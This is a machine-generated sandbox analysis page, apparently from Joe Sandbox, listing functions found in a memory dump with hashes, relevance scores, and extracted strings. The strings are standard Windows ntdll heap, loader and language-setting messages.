Opcode ID: 30dd031d339394eacdcb3631f5a2885e476e55b0f0b61301299ced5316bee335
Instruction ID: 8f3c3a13d1b1f64e38a894f5371523700162300cfd28bd0a0c0d3bce63b34da0
Opcode Fuzzy Hash: 30dd031d339394eacdcb3631f5a2885e476e55b0f0b61301299ced5316bee335
Instruction Fuzzy Hash: 14910475A04749DFDB11CFA8C440AADBBF2FF49314F158099E446AB262CB35AA81CF11

Function 359D12ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 359D186B
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 359D18F8
Heap block at %p is not last block in segment (%p), xrefs: 359D17B7
Free Heap block %p modified at %p after it was freed, xrefs: 359D171B
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 359D176D
HEAP[%wZ]: , xrefs: 359D16CD, 359D16F9, 359D1749, 359D179B, 359D17FC, 359D1840, 359D18D9
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 359D18A5
Heap block at %p has incorrect segment offset (%x), xrefs: 359D181A
HEAP: , xrefs: 359D1706, 359D1756, 359D17A8, 359D1809, 359D184D, 359D1895, 359D18E6

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: 369c9827d565165374bf56be9583b30626a82f3da26351e35e3fecda27313fa7
Instruction ID: 76faa5a7347f9d3a0ca2c1b43853c35a494e6b6827f9284185007d5074815bf1
Opcode Fuzzy Hash: 369c9827d565165374bf56be9583b30626a82f3da26351e35e3fecda27313fa7
Instruction Fuzzy Hash: 9812AA7A604686DFE725CF24C440BAAFBF6FF09344F44C459E8868B652D738E981EB50

Function 3591D34C Relevance: 11.6, Strings: 9, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Control Panel\Desktop\MuiCached, xrefs: 3591D62B
Control Panel\Desktop, xrefs: 3591D45D
PreferredUILanguagesPending, xrefs: 3597A8DE
MachinePreferredUILanguages, xrefs: 3591D685
@, xrefs: 3591D3E9
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3591D3B6
PreferredUILanguages, xrefs: 3591D4B8, 3591D4C5
@, xrefs: 3591D49D
@, xrefs: 3591D663

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 8f1fc0f0ff051b5e343e2141d53e6c1ef45e803f5aaa3d1589e5d5a19cb644ae
Instruction ID: b3a1ba5259f0111220ced1bc4f22d922a6870bc9592f2be84d25f37b17e9bfb5
Opcode Fuzzy Hash: 8f1fc0f0ff051b5e343e2141d53e6c1ef45e803f5aaa3d1589e5d5a19cb644ae
Instruction Fuzzy Hash: 4DB19AB25083699FD711CF24C480A5BB7E8BF88794F42492EFC89D7250D774EA08CB92

Function 35931070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35985672

Strings

!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 3598588F
@, xrefs: 35985A53
HEAP[%wZ]: , xrefs: 35985877
HEAP: , xrefs: 35985884

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3570731704
Opcode ID: af46afa72ce77037ac3e77eef6c29a7852bc43447f95c8287c4669f2ddb842ad
Instruction ID: ff055bff5987df6fa7da5bbb663d2ce89fe856463b59e03212384dce0cfca0c1
Opcode Fuzzy Hash: af46afa72ce77037ac3e77eef6c29a7852bc43447f95c8287c4669f2ddb842ad
Instruction Fuzzy Hash: 7B927975A05368CFEB20CF18C881F99B7BABF48350F0581EAD849AB251DB749E84CF51

Function 3594D7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 3594D959

Part of subcall function 35924859: RtlDebugPrintTimes.NTDLL ref: 359248F7

Strings

$, xrefs: 3594D86D
LdrShutdownProcess, xrefs: 3598F2CE
$, xrefs: 3594D900
minkernel\ntdll\ldrinit.c, xrefs: 3598F2D8
Process 0x%p (%wZ) exiting, xrefs: 3598F2C7

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 59a29d0c0acf179b3b0aff1fe991f2605e0ac450a829d00537bedbbeea679ca0
Instruction ID: 220ef037ff0992403672dfbd83d8394b895dac9b30cba7ac76ba405387af60af
Opcode Fuzzy Hash: 59a29d0c0acf179b3b0aff1fe991f2605e0ac450a829d00537bedbbeea679ca0
Instruction Fuzzy Hash: E651DFB9A04345DFDB10CFA8D580B9DBBB2BF48354F164159D801AB381DB78AD86DF90

Function 359B9179 Relevance: 10.4, Strings: 8, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\AppContainerNamedObjects, xrefs: 359B94AB, 359B94B9
Global\Session\%ld%s, xrefs: 359B94C5
%s\%u-%u-%u-%u, xrefs: 359B9422
%s\%ld\%s, xrefs: 359B948D
\Sessions, xrefs: 359B9488
AppContainerNamedObjects, xrefs: 359B946E, 359B94D6
BaseNamedObjects, xrefs: 359B9477, 359B947C
\BaseNamedObjects, xrefs: 359B949E

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: 8b51df130299121f7dc7f8925dac455c3eef6ad386b06bc9a86705a860ad8fd7
Instruction ID: 2887cd3a64dc9b07defea50ef988f5d5723fb82b6649737508e4cc70d168f607
Opcode Fuzzy Hash: 8b51df130299121f7dc7f8925dac455c3eef6ad386b06bc9a86705a860ad8fd7
Instruction Fuzzy Hash: 63D1F3B2919315AFEB21CB60C840B6BB7FCAF88754F400A2DF98497251D7B4DD48CB92

Function 3591D08D Relevance: 10.2, Strings: 8, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 3591D0FD
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3591D262
@, xrefs: 3591D2AF
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3591D2C3
@, xrefs: 3591D313
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3591D146
Control Panel\Desktop\LanguageConfiguration, xrefs: 3591D196
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3591D0CF

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 78f773175e306f867d6e46e85bba257139b6ad7791c02afaf664a09b147b75cd
Instruction ID: 11ef69919fe0bcf338f73c1da92d4959b2e7fd87e1960933694cd364132eba5a
Opcode Fuzzy Hash: 78f773175e306f867d6e46e85bba257139b6ad7791c02afaf664a09b147b75cd
Instruction Fuzzy Hash: BDA16E719083599FE321CF20C580B9BB7E8FF84769F414D2EE99896241D775DA08CF92

Function 3591F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

((LONG)FreeEntry->Size > 1), xrefs: 3597E0B3
(!TrailingUCR), xrefs: 3597E3A9
(LONG)FreeEntry->Size > 1, xrefs: 3597E291
(UCRBlock != NULL), xrefs: 3597DF6F
HEAP[%wZ]: , xrefs: 3597DF57, 3597E09B, 3597E279, 3597E391
HEAP: , xrefs: 3597DF64, 3597E0A8, 3597E286, 3597E39E

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 0d8c88f55e014dd51dbed6fadcbce42aeb04a7d0eb14914daaba514419b7b8f4
Instruction ID: 84799e15176f9bf9878320b841b7d5c36b2112a8ce742786221f1b774cb8b04e
Opcode Fuzzy Hash: 0d8c88f55e014dd51dbed6fadcbce42aeb04a7d0eb14914daaba514419b7b8f4
Instruction Fuzzy Hash: 2E42D2752087499FD315CF38C884A2ABBE5FF88344F14496EE896CB352DB34EA45CB61

Function 3593B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

API set, xrefs: 359883F4, 359883F9
DLL %wZ was redirected to %wZ by %s, xrefs: 359883FC
minkernel\ntdll\ldrutil.c, xrefs: 3598840D, 359884E1
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 359884D0
SxS, xrefs: 359883ED
LdrpPreprocessDllName, xrefs: 35988403, 359884D7

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: e6e1788be513af10adc7c6833791c92d772cc8b77e60b7e27c79e506c7a535b2
Instruction ID: d96de9a8d32c20a852ffa1abb94c87f52a5dc82b41c5d9053facbf9a861c4eda
Opcode Fuzzy Hash: e6e1788be513af10adc7c6833791c92d772cc8b77e60b7e27c79e506c7a535b2
Instruction Fuzzy Hash: FBC12575B06315EBEB14CB64C882BBEB7BAFF45300F5441A9E805AB281DF749D44C3A1

Function 3594F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 359902BD
RTL: Re-Waiting, xrefs: 3599031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 359902E7

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: b8fc64a8037e120834c3f6d1b461d1871abe33cf9b02fac8cc5f7bf60617cd9f
Instruction ID: 22e676d69c9867ccd7afae0852240a485372c3c5b1cb506ad97bd4a1598bf4c2
Opcode Fuzzy Hash: b8fc64a8037e120834c3f6d1b461d1871abe33cf9b02fac8cc5f7bf60617cd9f
Instruction Fuzzy Hash: 82E1CEB46087429FE724CF28C880B6AB7E5FF88324F150A59E5A5CB3D1DB74E945CB42

Function 359451EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 3594522A
Kernel-MUI-Language-Allowed, xrefs: 3594527B
Kernel-MUI-Language-Disallowed, xrefs: 35945352
Kernel-MUI-Language-SKU, xrefs: 3594542B
Kernel-MUI-Number-Allowed, xrefs: 35945247

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 93b6e4c89e3e50b5627a778970f46a09a45ed9acb50d5123787c029bf54b18f4
Instruction ID: ada961895fc4f0c943edcdacb540c461cfd7a9fde692cb699b4da26956d75629
Opcode Fuzzy Hash: 93b6e4c89e3e50b5627a778970f46a09a45ed9acb50d5123787c029bf54b18f4
Instruction Fuzzy Hash: 90F14CB6E15218EBDB11CF98C980E9EBBFDFF08650F55406AE401A7211EB74AE05CB90

Function 359FB16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 359FB329
RtlDebugPrintTimes.NTDLL ref: 359FB605

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 1a69ffc12e6522ee1932a1e6d53df53575ed74677711de35c45afb9fcdd696f9
Instruction ID: e75643fdc9aa5483563d08f7d7407732681160fe2bcdcd47d147025718988992
Opcode Fuzzy Hash: 1a69ffc12e6522ee1932a1e6d53df53575ed74677711de35c45afb9fcdd696f9
Instruction Fuzzy Hash: 01F10376F002158FDB08CF68C9A06BEBBF6FF98211B19416DD456EB381E675EA01CB50

Function 359176B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 3597B040
RtlFreeHeap, xrefs: 3597B03F
Invalid heap signature for heap at %p, xrefs: 3597B02F
HEAP[%wZ]: , xrefs: 3597B016
HEAP: , xrefs: 3597B023

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: 29f59bdcf1fff031737098b70d40b9026ba3bdbbd053d0106076c7632ab7e52f
Instruction ID: 6cabaeeee80461137cb325c5f1129c82ea14544c4943469ea3901f93ad310641
Opcode Fuzzy Hash: 29f59bdcf1fff031737098b70d40b9026ba3bdbbd053d0106076c7632ab7e52f
Instruction Fuzzy Hash: 0601703B115354DEE315831CF408F967BEAEF4A770F29404AE40147752DFA5AD81C960

Function 359370C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 35937C96, 35938696
HEAP[%wZ]: , xrefs: 35937C6D, 35938670
HEAP: , xrefs: 35937C7C, 3593867F

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: b0673197e3cddc46baf774915d41bd7043dda4cc457391c7b7e97e05c1218b2a
Instruction ID: 7aeaac4aaad044de148d09a7f4ed417387fa0c94ac76778610475d8a2358c5d0
Opcode Fuzzy Hash: b0673197e3cddc46baf774915d41bd7043dda4cc457391c7b7e97e05c1218b2a
Instruction Fuzzy Hash: C413C174A06315CFEB15CF68C891BA9BBF6FF48304F1481A9D849AB381D774A946CF90

Function 3591F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3597E563
HEAP[%wZ]: , xrefs: 3597E3FE
`, xrefs: 3597E428
HEAP: , xrefs: 3597E54E

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: 5c3b3f2e045d1d3f46a96f9bb7d9cd4780d827b39ab7db5a73af2a773e9e9367
Instruction ID: faf1e36c00c2076ef0eb0f31e20488d5d75868e2ce6e319961b1b65b055b77c8
Opcode Fuzzy Hash: 5c3b3f2e045d1d3f46a96f9bb7d9cd4780d827b39ab7db5a73af2a773e9e9367
Instruction Fuzzy Hash: 2F613076308788AFE312CB28D844F17B7E9FF84754F080469E9518B292CB34E901CB61

Function 359D11A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

This is located in the %s field of the heap header., xrefs: 359D12D6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 359D1261
HEAP[%wZ]: , xrefs: 359D123D, 359D12B7
HEAP: , xrefs: 359D124A, 359D125D, 359D125F, 359D12C4

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 62d7f8546a6e6550a6cc07819849ff4e6215095c690cf7f4d0d651af582e4c95
Instruction ID: 7d9175382564fa993d8dd138a219991fe26b6a0a2a3e5eb76ad603f7056d0f40
Opcode Fuzzy Hash: 62d7f8546a6e6550a6cc07819849ff4e6215095c690cf7f4d0d651af582e4c95
Instruction Fuzzy Hash: E2312637204294EFD710CB98D880F5AB3FAFF08668F118155FA02DB291DB32ED41DA64

Function 35919148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualProtect Failed 0x%p %x, xrefs: 3597BABA
VirtualQuery Failed 0x%p %x, xrefs: 3597BAF7
HEAP[%wZ]: , xrefs: 3597BAA0, 3597BADD
HEAP: , xrefs: 3597BAAD, 3597BAEA

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 543a25370583589446bbb4b8e30637b3e2010539dc9456485b8204cd4fe6aeef
Instruction ID: f317d8128c5f78a175ad759ac6a9e7b50d70a269328fded6726639eb5b45aab8
Opcode Fuzzy Hash: 543a25370583589446bbb4b8e30637b3e2010539dc9456485b8204cd4fe6aeef
Instruction Fuzzy Hash: E731A136600618EFD701DB55C888F9AB7FEFF49764F114192E815AB291E770EE80CE60

Function 35927152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 359817D9
RtlDebugPrintTimes.NTDLL ref: 359817EE

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3d6166987d265dfefe5eddf2f7bea5ab7daaa122d64cd5758362618d42b31e6a
Instruction ID: f3e29de5a6bbc8cf3d16ca73a2bffe766994be55fed7d4912ed7976177acb612
Opcode Fuzzy Hash: 3d6166987d265dfefe5eddf2f7bea5ab7daaa122d64cd5758362618d42b31e6a
Instruction Fuzzy Hash: C2511035A04B0AEFEB05CF65CE44BADBBB9FF04355F144069E412A3291EBB4A911DB81

Function 35921460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 35921728
HEAP[%wZ]: , xrefs: 35921712
HEAP: , xrefs: 35921596

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 495a006e2038b66d0aae629d1512da7f02485572facd3e814887158a676da4f4
Instruction ID: cd6f7654056a466eac4a9a3bfa91ab51ce5c791415088beea5c404403b5a9f27
Opcode Fuzzy Hash: 495a006e2038b66d0aae629d1512da7f02485572facd3e814887158a676da4f4
Instruction Fuzzy Hash: 72E1F274A043899FE715CF28C450B7ABBFAFF48304F18849EE4969B24ADB34E951DB50

Function 3592B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

MUI, xrefs: 3592B6D8, 3592B7E7
LdrResGetRCConfig Exit, xrefs: 3592B714
LdrResGetRCConfig Enter, xrefs: 3592B702

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
